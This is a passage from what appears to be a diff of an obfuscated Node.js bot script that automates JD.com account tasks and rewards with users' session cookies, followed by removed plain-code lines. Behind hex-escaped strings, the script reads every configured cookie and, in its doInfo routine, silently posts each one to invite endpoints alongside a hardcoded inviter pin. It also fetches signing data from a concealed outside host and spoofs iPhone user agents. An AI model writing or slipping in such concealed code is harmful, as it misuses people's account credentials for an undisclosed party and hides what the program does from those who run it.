69\x6E\x67","\u8BF7\u52FF\u968F\u610F\u5728\x42\x6F\x78\x4A\x73\u8F93\u5165\u6846\u4FEE\u6539\u5185\u5BB9\x0A\u5EFA\u8BAE\u901A\u8FC7\u811A\u672C\u53BB\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];$[__Oxe80e0[0x0]]= __Oxe80e0[0x1];let cookiesArr=[],cookie=__Oxe80e0[0x2],message;if($[__Oxe80e0[0x3]]()){Object[__Oxe80e0[0x6]](jdCookieNode)[__Oxe80e0[0x5]]((_0xa432x4)=>{cookiesArr[__Oxe80e0[0x4]](jdCookieNode[_0xa432x4])});if(process[__Oxe80e0[0x8]][__Oxe80e0[0x7]]&& process[__Oxe80e0[0x8]][__Oxe80e0[0x7]]=== __Oxe80e0[0x9]){console[__Oxe80e0[0xa]]= ()=>{}}}else {cookiesArr= [$[__Oxe80e0[0xd]](__Oxe80e0[0xc]),$[__Oxe80e0[0xd]](__Oxe80e0[0xe]),...jsonParse($[__Oxe80e0[0xd]](__Oxe80e0[0x11])|| __Oxe80e0[0x12])[__Oxe80e0[0x10]]((_0xa432x4)=>{return _0xa432x4[__Oxe80e0[0xf]]})][__Oxe80e0[0xb]]((_0xa432x4)=>{return !!_0xa432x4})};let mofang_no_pin=process[__Oxe80e0[0x8]][__Oxe80e0[0x13]]?process[__Oxe80e0[0x8]][__Oxe80e0[0x13]]:__Oxe80e0[0x2];!(async ()=>{if(!cookiesArr[0x0]){$[__Oxe80e0[0x1d]]($[__Oxe80e0[0x17]],__Oxe80e0[0x1b],__Oxe80e0[0x1c],{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe80e0[0x1c]});return};for(let _0xa432x7=0;_0xa432x7< cookiesArr[__Oxe80e0[0x1e]];_0xa432x7++){UA= getJDUA();if(cookiesArr[_0xa432x7]){cookie= cookiesArr[_0xa432x7];$[__Oxe80e0[0x1f]]= decodeURIComponent(cookie[__Oxe80e0[0x20]](/pt_pin=([^; ]+)(?=;?)/)&& cookie[__Oxe80e0[0x20]](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[__Oxe80e0[0x21]]= _0xa432x7+ 1;$[__Oxe80e0[0x22]]= true;$[__Oxe80e0[0x23]]= __Oxe80e0[0x2];message= __Oxe80e0[0x2];console[__Oxe80e0[0xa]](`${__Oxe80e0[0x24]}${$[__Oxe80e0[0x21]]}${__Oxe80e0[0x25]}${$[__Oxe80e0[0x23]]|| $[__Oxe80e0[0x1f]]}${__Oxe80e0[0x26]}`);if(!$[__Oxe80e0[0x22]]){$[__Oxe80e0[0x1d]]($[__Oxe80e0[0x17]],`${__Oxe80e0[0x27]}`,`${__Oxe80e0[0x28]}${$[__Oxe80e0[0x21]]}${__Oxe80e0[0x29]}${$[__Oxe80e0[0x23]]|| $[__Oxe80e0[0x1f]]}${__Oxe80e0[0x2a]}`,{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe80e0[0x1c]});if($[__Oxe80e0[0x3]]()){ await notify[__Oxe80e0[0x2d]](`${__Oxe80e0[0x2]}${$[__Oxe80e0[0x17]]}${__Oxe80e0[0x2b]}${$[__Oxe80e0[0x1f]]}${__Oxe80e0[0x2]}`,`${__Oxe80e0[0x28]}${$[__Oxe80e0[0x21]]}${__Oxe80e0[0x29]}${$[__Oxe80e0[0x1f]]}${__Oxe80e0[0x2c]}`)};continue}; await doInfo(); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 500+ 100,10));if(mofang_no_pin[__Oxe80e0[0x30]]($.UserName)> -1){console[__Oxe80e0[0xa]](`${__Oxe80e0[0x31]}${$[__Oxe80e0[0x1f]]}${__Oxe80e0[0x2]}`);continue};let _0xa432x8= await getInteractionHomeInfo(); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 1500+ 200,10));$[__Oxe80e0[0x32]]= _0xa432x8[__Oxe80e0[0x35]][__Oxe80e0[0x34]][__Oxe80e0[0x33]]; await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 1500+ 200,10));if($[__Oxe80e0[0x32]]){let _0xa432x9= await queryInteractiveRewardInfo($[__Oxe80e0[0x32]],__Oxe80e0[0x36]); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 1500+ 200,10));$[__Oxe80e0[0x37]]= _0xa432x9[__Oxe80e0[0x39]][__Oxe80e0[0x38]];console[__Oxe80e0[0xa]](`${__Oxe80e0[0x3a]}${$[__Oxe80e0[0x37]]}${__Oxe80e0[0x3b]}`);let _0xa432xa= await queryInteractiveInfo($[__Oxe80e0[0x32]],__Oxe80e0[0x36]); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 1500+ 200,10));$[__Oxe80e0[0x3c]]= true; await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 1500+ 200,10));if(_0xa432xa[__Oxe80e0[0x3d]]== __Oxe80e0[0x3e]&& $[__Oxe80e0[0x37]]>= 1){for(let _0xa432xb of Object[__Oxe80e0[0x6]](_0xa432xa[__Oxe80e0[0x3f]])){let _0xa432xc=_0xa432xa[__Oxe80e0[0x3f]][_0xa432xb];if($[__Oxe80e0[0x37]]>= 6){if(_0xa432xc[__Oxe80e0[0x40]]== __Oxe80e0[0x41]&& _0xa432xc[__Oxe80e0[0x42]]== 6){$[__Oxe80e0[0x37]]-= 6;console[__Oxe80e0[0xa]](`${__Oxe80e0[0x43]}`); await doInteractiveAssignment($[__Oxe80e0[0x32]],_0xa432xc[__Oxe80e0[0x44]],__Oxe80e0[0x36]); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 5500+ 5500,10))}};if($[__Oxe80e0[0x37]]>= 3){if(_0xa432xc[__Oxe80e0[0x40]]== __Oxe80e0[0x41]&& _0xa432xc[__Oxe80e0[0x42]]== 3){$[__Oxe80e0[0x37]]-= 3;console[__Oxe80e0[0xa]](`${__Oxe80e0[0x45]}`); await doInteractiveAssignment($[__Oxe80e0[0x32]],_0xa432xc[__Oxe80e0[0x44]],__Oxe80e0[0x36]); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 5500+ 5500,10))}};if($[__Oxe80e0[0x37]]>= 1){if(_0xa432xc[__Oxe80e0[0x40]]== __Oxe80e0[0x46]&& _0xa432xc[__Oxe80e0[0x42]]== 1){$[__Oxe80e0[0x37]]-= 1;console[__Oxe80e0[0xa]](`${__Oxe80e0[0x47]}`); await doInteractiveAssignment($[__Oxe80e0[0x32]],_0xa432xc[__Oxe80e0[0x44]],__Oxe80e0[0x36]); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 5500+ 5500,10))}}}}else {console[__Oxe80e0[0xa]](`${__Oxe80e0[0x48]}`)}}else {console[__Oxe80e0[0xa]](`${__Oxe80e0[0x49]}`)}; await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 10000+ 15000,10))}}})()[__Oxe80e0[0x1a]]((_0xa432x6)=>{$[__Oxe80e0[0xa]](__Oxe80e0[0x2],`${__Oxe80e0[0x16]}${$[__Oxe80e0[0x17]]}${__Oxe80e0[0x18]}${_0xa432x6}${__Oxe80e0[0x19]}`,__Oxe80e0[0x2])})[__Oxe80e0[0x15]](()=>{$[__Oxe80e0[0x14]]()});async function getInteractionHomeInfo(){return new Promise(async (_0xa432xe)=>{$[__Oxe80e0[0x50]](taskPostUrl(__Oxe80e0[0x4a],{"\x73\x69\x67\x6E":__Oxe80e0[0x4b]}),async (_0xa432xf,_0xa432x10,_0xa432x11)=>{try{if(_0xa432xf){console[__Oxe80e0[0xa]](`${__Oxe80e0[0x2]}${JSON[__Oxe80e0[0x4c]](_0xa432xf)}${__Oxe80e0[0x2]}`);console[__Oxe80e0[0xa]](`${__Oxe80e0[0x4d]}`)}else {if(safeGet(_0xa432x11)){_0xa432x11= JSON[__Oxe80e0[0x4e]](_0xa432x11)}}}catch(e){$[__Oxe80e0[0x4f]](e,_0xa432x10)}finally{_0xa432xe(_0xa432x11|| __Oxe80e0[0x2])}})})}async function queryInteractiveInfo(_0xa432x13,_0xa432x14){return new Promise(async (_0xa432xe)=>{$[__Oxe80e0[0x50]](taskPostUrl(__Oxe80e0[0x51],{"\x65\x6E\x63\x72\x79\x70\x74\x50\x72\x6F\x6A\x65\x63\x74\x49\x64":_0xa432x13,"\x73\x6F\x75\x72\x63\x65\x43\x6F\x64\x65":_0xa432x14,"\x65\x78\x74":{"\x63\x6F\x75\x70\x6F\x6E\x55\x73\x61\x62\x6C\x65\x47\x65\x74\x53\x77\x69\x74\x63\x68":1,"\x69\x73\x51\x75\x65\x72\x79\x54\x72\x61\x69\x6C\x49\x6E\x66\x6F":true}}),async (_0xa432xf,_0xa432x10,_0xa432x11)=>{try{if(_0xa432xf){console[__Oxe80e0[0xa]](`${__Oxe80e0[0x2]}${JSON[__Oxe80e0[0x4c]](_0xa432xf)}${__Oxe80e0[0x2]}`);console[__Oxe80e0[0xa]](`${__Oxe80e0[0x52]}`)}else {if(safeGet(_0xa432x11)){_0xa432x11= JSON[__Oxe80e0[0x4e]](_0xa432x11)}}}catch(e){$[__Oxe80e0[0x4f]](e,_0xa432x10)}finally{_0xa432xe(_0xa432x11)}})})}async function queryInteractiveRewardInfo(_0xa432x13,_0xa432x14){let _0xa432x16={"\x65\x6E\x63\x72\x79\x70\x74\x50\x72\x6F\x6A\x65\x63\x74\x49\x64":_0xa432x13,"\x73\x6F\x75\x72\x63\x65\x43\x6F\x64\x65":_0xa432x14,"\x65\x78\x74":{"\x6E\x65\x65\x64\x45\x78\x63\x68\x61\x6E\x67\x65\x52\x65\x73\x74\x53\x63\x6F\x72\x65":__Oxe80e0[0x53]}}; await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 1500+ 200,10));return new Promise(async (_0xa432xe)=>{$[__Oxe80e0[0x50]](taskPostUrl(__Oxe80e0[0x54],_0xa432x16),async (_0xa432xf,_0xa432x10,_0xa432x11)=>{try{if(_0xa432xf){console[__Oxe80e0[0xa]](`${__Oxe80e0[0x2]}${JSON[__Oxe80e0[0x4c]](_0xa432xf)}${__Oxe80e0[0x2]}`);console[__Oxe80e0[0xa]](`${__Oxe80e0[0x55]}`)}else {if(safeGet(_0xa432x11)){_0xa432x11= JSON[__Oxe80e0[0x4e]](_0xa432x11)}}}catch(e){$[__Oxe80e0[0x4f]](e,_0xa432x10)}finally{_0xa432xe(_0xa432x11|| {})}})})}async function doInfo(){let _0xa432x18=__Oxe80e0[0x56]; await doTask3(cookie,_0xa432x18); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 200+ 100,10)); await doTask4(cookie,_0xa432x18); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 200+ 100,10)); await doTask1(cookie,_0xa432x18); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 200+ 100,10)); await doTask2(cookie,_0xa432x18); await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 200+ 100,10))}async function doTask1(_0xa432x1a,_0xa432x18){let _0xa432x1b=Date[__Oxe80e0[0x57]]();var _0xa432x1c={'\x48\x6F\x73\x74':__Oxe80e0[0x58],'\x61\x63\x63\x65\x70\x74':__Oxe80e0[0x59],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxe80e0[0x5a],'\x6F\x72\x69\x67\x69\x6E':__Oxe80e0[0x5b],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe80e0[0x5c],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':getJSUA(),'\x72\x65\x66\x65\x72\x65\x72':__Oxe80e0[0x5d],'\x43\x6F\x6F\x6B\x69\x65':_0xa432x1a};var _0xa432x16=__Oxe80e0[0x5e]+ encodeURIComponent(_0xa432x18)+ __Oxe80e0[0x5f]+ _0xa432x1b;var _0xa432x1d={'\x75\x72\x6C':__Oxe80e0[0x60]+ Date[__Oxe80e0[0x57]](),'\x68\x65\x61\x64\x65\x72\x73':_0xa432x1c,'\x62\x6F\x64\x79':_0xa432x16};$[__Oxe80e0[0x50]](_0xa432x1d,(_0xa432xf,_0xa432x10,_0xa432x11)=>{})}async function doTask2(_0xa432x1a,_0xa432x18){let _0xa432x1b=Date[__Oxe80e0[0x57]]();let _0xa432x1c={'\x48\x6F\x73\x74':__Oxe80e0[0x58],'\x61\x63\x63\x65\x70\x74':__Oxe80e0[0x59],'\x63\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxe80e0[0x5a],'\x6F\x72\x69\x67\x69\x6E':__Oxe80e0[0x61],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe80e0[0x5c],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':getJSUA(),'\x72\x65\x66\x65\x72\x65\x72':__Oxe80e0[0x62]+ encodeURIComponent(_0xa432x18),'\x43\x6F\x6F\x6B\x69\x65':_0xa432x1a};let _0xa432x16=__Oxe80e0[0x63]+ encodeURIComponent(_0xa432x18)+ __Oxe80e0[0x64]+ _0xa432x1b;var _0xa432x1d={'\x75\x72\x6C':__Oxe80e0[0x65],'\x68\x65\x61\x64\x65\x72\x73':_0xa432x1c,'\x62\x6F\x64\x79':_0xa432x16};$[__Oxe80e0[0x50]](_0xa432x1d,(_0xa432xf,_0xa432x10,_0xa432x11)=>{})}function doTask3(_0xa432x1a,_0xa432x18){let _0xa432x1b=+ new Date();let _0xa432x1c={'\x75\x72\x6C':__Oxe80e0[0x60]+ _0xa432x1b,'\x62\x6F\x64\x79':__Oxe80e0[0x66]+ JSON[__Oxe80e0[0x4c]]({'\x6D\x65\x74\x68\x6F\x64':__Oxe80e0[0x67],'\x64\x61\x74\x61':{'\x69\x6E\x76\x69\x74\x65\x72\x50\x69\x6E':encodeURIComponent(_0xa432x18),'\x63\x68\x61\x6E\x6E\x65\x6C':1,'\x74\x6F\x6B\x65\x6E':__Oxe80e0[0x2],'\x66\x72\x6F\x6E\x74\x65\x6E\x64\x49\x6E\x69\x74\x53\x74\x61\x74\x75\x73':__Oxe80e0[0x2]}})+ __Oxe80e0[0x68]+ _0xa432x1b,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6F\x73\x74':__Oxe80e0[0x58],'\x41\x63\x63\x65\x70\x74':__Oxe80e0[0x59],'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x74\x79\x70\x65':__Oxe80e0[0x5a],'\x4F\x72\x69\x67\x69\x6E':__Oxe80e0[0x5b],'\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65':__Oxe80e0[0x69],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':getJSUA(),'\x52\x65\x66\x65\x72\x65\x72':__Oxe80e0[0x5d],'\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe80e0[0x6a],'\x43\x6F\x6F\x6B\x69\x65':_0xa432x1a}};$[__Oxe80e0[0x50]](_0xa432x1c,(_0xa432xf,_0xa432x10,_0xa432x11)=>{})}function doTask4(_0xa432x1a,_0xa432x18){let _0xa432x1d={'\x75\x72\x6C':__Oxe80e0[0x65],'\x62\x6F\x64\x79':__Oxe80e0[0x6b]+ JSON[__Oxe80e0[0x4c]]({'\x6D\x65\x74\x68\x6F\x64':__Oxe80e0[0x6c],'\x64\x61\x74\x61':{'\x63\x68\x61\x6E\x6E\x65\x6C':__Oxe80e0[0x53],'\x65\x6E\x63\x72\x79\x70\x74\x69\x6F\x6E\x49\x6E\x76\x69\x74\x65\x72\x50\x69\x6E':encodeURIComponent(_0xa432x18),'\x74\x79\x70\x65':1}})+ __Oxe80e0[0x6d]+ Date[__Oxe80e0[0x57]](),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6F\x73\x74':__Oxe80e0[0x58],'\x41\x63\x63\x65\x70\x74':__Oxe80e0[0x59],'\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65':__Oxe80e0[0x5a],'\x4F\x72\x69\x67\x69\x6E':__Oxe80e0[0x61],'\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65':__Oxe80e0[0x69],'\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74':getJSUA(),'\x52\x65\x66\x65\x72\x65\x72':__Oxe80e0[0x6e],'\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe80e0[0x6a],'\x43\x6F\x6F\x6B\x69\x65':_0xa432x1a}};$[__Oxe80e0[0x50]](_0xa432x1d,(_0xa432xf,_0xa432x10,_0xa432x11)=>{})}async function doInteractiveAssignment(_0xa432x13,_0xa432x22,_0xa432x14){ await $[__Oxe80e0[0x2f]](parseInt(Math[__Oxe80e0[0x2e]]()* 2500+ 300,10)); await getLogs();let _0xa432x16={"\x65\x6E\x63\x72\x79\x70\x74\x50\x72\x6F\x6A\x65\x63\x74\x49\x64":_0xa432x13,"\x65\x6E\x63\x72\x79\x70\x74\x41\x73\x73\x69\x67\x6E\x6D\x65\x6E\x74\x49\x64":_0xa432x22,"\x73\x6F\x75\x72\x63\x65\x43\x6F\x64\x65":_0xa432x14,"\x69\x74\x65\x6D\x49\x64":__Oxe80e0[0x2],"\x61\x63\x74\x69\x6F\x6E\x54\x79\x70\x65":__Oxe80e0[0x2],"\x63\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x46\x6C\x61\x67":__Oxe80e0[0x2],"\x65\x78\x74":{"\x65\x78\x63\x68\x61\x6E\x67\x65\x4E\x75\x6D":1},"\x65\x78\x74\x50\x61\x72\x61\x6D":{"\x62\x75\x73\x69\x6E\x65\x73\x73\x44\x61\x74\x61":{"\x72\x61\x6E\x64\x6F\x6D":$[__Oxe80e0[0x2e]]},"\x73\x69\x67\x6E\x53\x74\x72":$[__Oxe80e0[0x6f]],"\x73\x63\x65\x6E\x65\x69\x64":$[__Oxe80e0[0x0]]}};return new Promise(async (_0xa432xe)=>{$[__Oxe80e0[0x50]](taskPostUrl(__Oxe80e0[0x70],_0xa432x16),async (_0xa432xf,_0xa432x10,_0xa432x11)=>{try{if(_0xa432xf){console[__Oxe80e0[0xa]](`${__Oxe80e0[0x71]}`)}else {if(safeGet(_0xa432x11)){_0xa432x11= JSON[__Oxe80e0[0x4e]](_0xa432x11);if(_0xa432x11[__Oxe80e0[0x3d]]== __Oxe80e0[0x3e]){console[__Oxe80e0[0xa]](`${__Oxe80e0[0x72]}${_0xa432x11[__Oxe80e0[0x76]][__Oxe80e0[0x75]][__Oxe80e0[0x74]][0x0][__Oxe80e0[0x73]]}${__Oxe80e0[0x2]}`)}else {if(_0xa432x11[__Oxe80e0[0x3d]]== __Oxe80e0[0x77]|| _0xa432x11[__Oxe80e0[0x3d]]== __Oxe80e0[0x78]){console[__Oxe80e0[0xa]](_0xa432x11[__Oxe80e0[0x1d]]);$[__Oxe80e0[0x3c]]= false}else {console[__Oxe80e0[0xa]](`${__Oxe80e0[0x79]}${JSON[__Oxe80e0[0x4c]](_0xa432x11)}${__Oxe80e0[0x2]}`)}}}}}catch(e){$[__Oxe80e0[0x4f]](e,_0xa432x10)}finally{_0xa432xe(_0xa432x11)}})})}function taskPostUrl(_0xa432x24,_0xa432x16= {}){return {url:`${__Oxe80e0[0x7a]}${_0xa432x24}${__Oxe80e0[0x7b]}${encodeURIComponent(JSON[__Oxe80e0[0x4c]](_0xa432x16))}${__Oxe80e0[0x7c]}`,headers:{"\x48\x6F\x73\x74":__Oxe80e0[0x58],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxe80e0[0x5a],"\x4F\x72\x69\x67\x69\x6E":__Oxe80e0[0x7d],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe80e0[0x6a],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe80e0[0x7e],"\x41\x63\x63\x65\x70\x74":__Oxe80e0[0x59],"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":UA,"\x52\x65\x66\x65\x72\x65\x72":__Oxe80e0[0x7f],"\x43\x6F\x6F\x6B\x69\x65":cookie}}}function randomString(_0xa432x6){let _0xa432x26=__Oxe80e0[0x80];if(_0xa432x6=== 16){_0xa432x26= __Oxe80e0[0x81]};_0xa432x6= _0xa432x6|| 32;let _0xa432x27=_0xa432x26[__Oxe80e0[0x1e]],_0xa432x28=__Oxe80e0[0x2];for(let _0xa432x7=0;_0xa432x7< _0xa432x6;_0xa432x7++){_0xa432x28+= _0xa432x26[__Oxe80e0[0x83]](Math[__Oxe80e0[0x82]](Math[__Oxe80e0[0x2e]]()* _0xa432x27))};return _0xa432x28}function TotalBean(){return new Promise(async (_0xa432xe)=>{const _0xa432x1d={url:__Oxe80e0[0x84],headers:{Host:__Oxe80e0[0x85],Accept:__Oxe80e0[0x86],Connection:__Oxe80e0[0x7e],Cookie:cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe80e0[0x3]]()?(process[__Oxe80e0[0x8]][__Oxe80e0[0x87]]?process[__Oxe80e0[0x8]][__Oxe80e0[0x87]]:(require(__Oxe80e0[0x89])[__Oxe80e0[0x88]])):($[__Oxe80e0[0xd]](__Oxe80e0[0x8a])?$[__Oxe80e0[0xd]](__Oxe80e0[0x8a]):__Oxe80e0[0x8b]),"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe80e0[0x5c],"\x52\x65\x66\x65\x72\x65\x72":__Oxe80e0[0x8c],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe80e0[0x6a]}};$[__Oxe80e0[0x94]](_0xa432x1d,(_0xa432xf,_0xa432x10,_0xa432x11)=>{try{if(_0xa432xf){$[__Oxe80e0[0x4f]](_0xa432xf)}else {if(_0xa432x11){_0xa432x11= JSON[__Oxe80e0[0x4e]](_0xa432x11);if(_0xa432x11[__Oxe80e0[0x8d]]=== 1001){$[__Oxe80e0[0x22]]= false;return};if(_0xa432x11[__Oxe80e0[0x8d]]=== 0&& _0xa432x11[__Oxe80e0[0x8e]]&& _0xa432x11[__Oxe80e0[0x8e]][__Oxe80e0[0x90]](__Oxe80e0[0x8f])){$[__Oxe80e0[0x23]]= _0xa432x11[__Oxe80e0[0x8e]][__Oxe80e0[0x8f]][__Oxe80e0[0x92]][__Oxe80e0[0x91]]}}else {console[__Oxe80e0[0xa]](__Oxe80e0[0x93])}}}catch(e){$[__Oxe80e0[0x4f]](e)}finally{_0xa432xe()}})})}function getLogs(){return new Promise((_0xa432xe)=>{$[__Oxe80e0[0x94]]({url:`${__Oxe80e0[0x95]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe80e0[0x96]},timeout:30000},(_0xa432xf,_0xa432x10,_0xa432x11)=>{try{if(_0xa432xf){console[__Oxe80e0[0xa]](`${__Oxe80e0[0x97]}`)}else {if(_0xa432x11&& safeGet(_0xa432x11)){_0xa432x11= JSON[__Oxe80e0[0x4e]](_0xa432x11);if(_0xa432x11[__Oxe80e0[0x98]]== 0&& _0xa432x11[__Oxe80e0[0x8e]][__Oxe80e0[0x2e]]){_0xa432x11= _0xa432x11[__Oxe80e0[0x8e]];$[__Oxe80e0[0x2e]]= _0xa432x11[__Oxe80e0[0x2e]];$[__Oxe80e0[0x6f]]= _0xa432x11[__Oxe80e0[0xa]]}else {if(_0xa432x11[__Oxe80e0[0x98]]== 1){$[__Oxe80e0[0x2e]]= __Oxe80e0[0x2];$[__Oxe80e0[0x6f]]= __Oxe80e0[0x2]}}}else {$[__Oxe80e0[0x2e]]= __Oxe80e0[0x2];$[__Oxe80e0[0x6f]]= __Oxe80e0[0x2]}}}catch(e){$[__Oxe80e0[0x4f]](e,_0xa432x10)}finally{_0xa432xe(_0xa432x11|| [])}})})}function getUUID(_0xa432x2c= __Oxe80e0[0x99],_0xa432x26= 0){return _0xa432x2c[__Oxe80e0[0x9c]](/[xy]/g,function(_0xa432x2c){var _0xa432x2d=16* Math[__Oxe80e0[0x2e]]()| 0,_0xa432x28=__Oxe80e0[0x9a]== _0xa432x2c?_0xa432x2d:3& _0xa432x2d| 8;return uuid= _0xa432x26?_0xa432x28.toString(36)[__Oxe80e0[0x9b]]():_0xa432x28.toString(36),uuid})}function getJDUA(){getVersion= getIphoneVersion();getVersion1= getVersion[__Oxe80e0[0x9c]](__Oxe80e0[0x9d],__Oxe80e0[0x9e]);$[__Oxe80e0[0x9f]]= `${__Oxe80e0[0xa0]}${getVersion}${__Oxe80e0[0xa1]}${getUUID(__Oxe80e0[0x99])}${__Oxe80e0[0xa2]}${getVersion1}${__Oxe80e0[0xa3]}`;return $[__Oxe80e0[0x9f]]}function getJSUA(){return __Oxe80e0[0xa4]}function random(_0xa432x31,_0xa432x32){let _0xa432x33=Math[__Oxe80e0[0x82]](Math[__Oxe80e0[0x2e]]()* (_0xa432x32- _0xa432x31))+ _0xa432x31;return `${__Oxe80e0[0x2]}${_0xa432x33}${__Oxe80e0[0x2]}`}function getIphoneVersion(){let _0xa432x35=[__Oxe80e0[0xa5],__Oxe80e0[0xa6],__Oxe80e0[0xa7],__Oxe80e0[0xa8],__Oxe80e0[0xa9],__Oxe80e0[0xaa],__Oxe80e0[0xab],__Oxe80e0[0xac],__Oxe80e0[0xad],__Oxe80e0[0xae],__Oxe80e0[0xaf],__Oxe80e0[0xb0],__Oxe80e0[0xb1],__Oxe80e0[0xb2],__Oxe80e0[0xb3],__Oxe80e0[0xb4],__Oxe80e0[0xb5],__Oxe80e0[0xb6],__Oxe80e0[0xb7],__Oxe80e0[0xb8],__Oxe80e0[0xb9],__Oxe80e0[0xba],__Oxe80e0[0xbb],__Oxe80e0[0xbc],__Oxe80e0[0xbd],__Oxe80e0[0xbe],__Oxe80e0[0xbf]];return _0xa432x35[random(0,_0xa432x35[__Oxe80e0[0x1e]])]}function safeGet(_0xa432x11){try{if( typeof JSON[__Oxe80e0[0x4e]](_0xa432x11)== __Oxe80e0[0xc0]){return true}}catch(e){console[__Oxe80e0[0xa]](e);console[__Oxe80e0[0xa]](`${__Oxe80e0[0xc1]}`);return false}}function jsonParse(_0xa432x38){if( typeof _0xa432x38== __Oxe80e0[0xc2]){try{return JSON[__Oxe80e0[0x4e]](_0xa432x38)}catch(e){console[__Oxe80e0[0xa]](e);$[__Oxe80e0[0x1d]]($[__Oxe80e0[0x17]],__Oxe80e0[0x2],__Oxe80e0[0xc3]);return []}}}(function(_0xa432x39,_0xa432x3a,_0xa432x3b,_0xa432x3c,_0xa432x3d,_0xa432x3e){_0xa432x3e= __Oxe80e0[0xc4];_0xa432x3c= function(_0xa432x3f){if( typeof alert!== _0xa432x3e){alert(_0xa432x3f)};if( typeof console!== _0xa432x3e){console[__Oxe80e0[0xa]](_0xa432x3f)}};_0xa432x3b= function(_0xa432x27,_0xa432x39){return _0xa432x27+ _0xa432x39};_0xa432x3d= _0xa432x3b(__Oxe80e0[0xc5],_0xa432x3b(_0xa432x3b(__Oxe80e0[0xc6],__Oxe80e0[0xc7]),__Oxe80e0[0xc8]));try{_0xa432x39= __encode;if(!( typeof _0xa432x39!== _0xa432x3e&& _0xa432x39=== _0xa432x3b(__Oxe80e0[0xc9],__Oxe80e0[0xca]))){_0xa432x3c(_0xa432x3d)}}catch(e){_0xa432x3c(_0xa432x3d)}})({}) -function taskUrl(functionId, body = {}) { - return { - url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=content_ecology&client=wh5&clientVersion=1.0.0`, - headers: { - 'Host': 'api.m.jd.com', - 'Accept': 'application/json, text/plain, */*', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://h5.m.jd.com', - 'Accept-Language': 'zh-cn', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': 'https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html', - 'Accept-Encoding': 'gzip, deflate, br', - 'Cookie': cookie - } - } -} -function randomString(e) { - let t = "abcdef0123456789" - if (e === 16) t = "abcdefghijklmnopqrstuvwxyz0123456789" - e = e || 32; - let a = t.length, n = ""; - for (let i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: 